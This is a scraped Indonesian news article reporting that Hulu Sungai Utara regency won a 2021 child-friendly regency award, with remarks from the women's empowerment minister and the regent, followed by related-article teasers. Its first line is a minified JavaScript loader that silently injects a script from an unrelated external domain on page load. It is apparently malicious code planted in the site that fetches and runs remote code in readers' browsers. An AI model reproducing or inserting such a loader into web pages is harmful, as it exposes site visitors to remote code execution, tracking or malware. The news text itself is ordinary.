(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Kabupaten Hulu Sungai Utara (HSU) menjadi salah satu kabupaten berhasil mendapatkan penghargaan Kabupaten/Kota Layak Anak (KLA) kategori madya tahun 2021.
Penghargaan tersebut diterima Bupati HSU H Abdul Wahid HK secara simbolis saat mengikuti acara penganugerahan penghargaan KLA tahun 2021 secara daring di Mess Nagara Dipa, Kamis (29/7/2021).
Baca juga: UPDATE. Sempat Ditutup, Hari Ini IGD RSD Idaman Banjarbaru Kembali Dibuka
Penghargaan diserahkan Menteri Pemberdayaan Perempuan Dan Perlindungan Anak (PPPA) RI I Gusti Ayu Bintang Darmawati, diikuti para gubernur, bupati dan wali kota se Indonesia.
Menteri PPPA, I Gusti Ayu Bintang Darmawati mengatakan, KLA merupakan sistem pembangunan berbasis hak anak yang dilakukan melalui perintegrasian, komitmen, sumber daya pemerintah, masyarakat, media dan usaha yang terencana secara menyeluruh.
Berkelanjutan dalam bentuk kebijakan atau kegiatan yang ditujukan untuk menjamin hak-hak anak serta perlindungan khusus anak.
“Kabupaten/kota layak anak diamanahkan oleh Undang-Undang perlindungan anak yang juga didukung oleh Undang-Undang pemerintah daerah, dalam Undang-Undang pemerintah daerah dipertegas urusan pemerintah di bidang perlindungan anak merupakan urusan wajib no pelayanan dasar pemerintah yang didukung oleh masyarakat, media dan dunia usaha sebagai empat pilar pembangunan,” kata I Gusti Ayu Bintang Darmawati.
Sementara itu, Bupati HSU H. Abdul Wahid HK bersyukur HSU kembali terpilih sebagai Kabupaten/kota layak anak untuk kali ketiga kategori madya.
“Alhamdulillah pada 2021 ini kita kembali menjadi kabupaten layak anak tingkat madya, dan ini kali ketiga terpilih menjadi kabupaten layak anak,” kata Bupati Wahid.
Baca juga: Cuma 9 dari 27 RS di Kalsel yang Masih Tersedia Bed IGD Khusus Covid-19, Sisanya Penuh!
Penghargaan tersebut, menurut Wahid dikarenakan kabupaten HSU dianggap oleh pemerintah pusat berdasarkan indikator dan penilaian yang telah dilakukan baik melalui kelengkapan administrasi, pemantauan lapangan maupun pembinaan Kementerian Pemberdayaan Perempuan dan Perlindungan Anak.
Wahid menambahkan, meski dalam masa pandemi Covid-19 selalu berusaha memberikan hak anak dengan baik di semua komponen yang memerlukan perhatian kepada anak di HSU.
“Saya juga ucapkan terima kasih kepada Dinas Pemberdayaan Perempuan dan Perlindungan Anak HSU yang telah mengkoordinasikan berbagai layanan hak-hak anak,” ungkapnya.
Ke depan HSU secara bertahap akan ada desa layak anak, kelurahan layak anak, kecamatan layak anak, masjid layak anak dan berbagai hal sebagai media untuk memenuhi hak-hak anak pada berbagai keadaan di HSU. (kanalkalimantan.com/dew)
Reporter: dew
Editor : bie
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.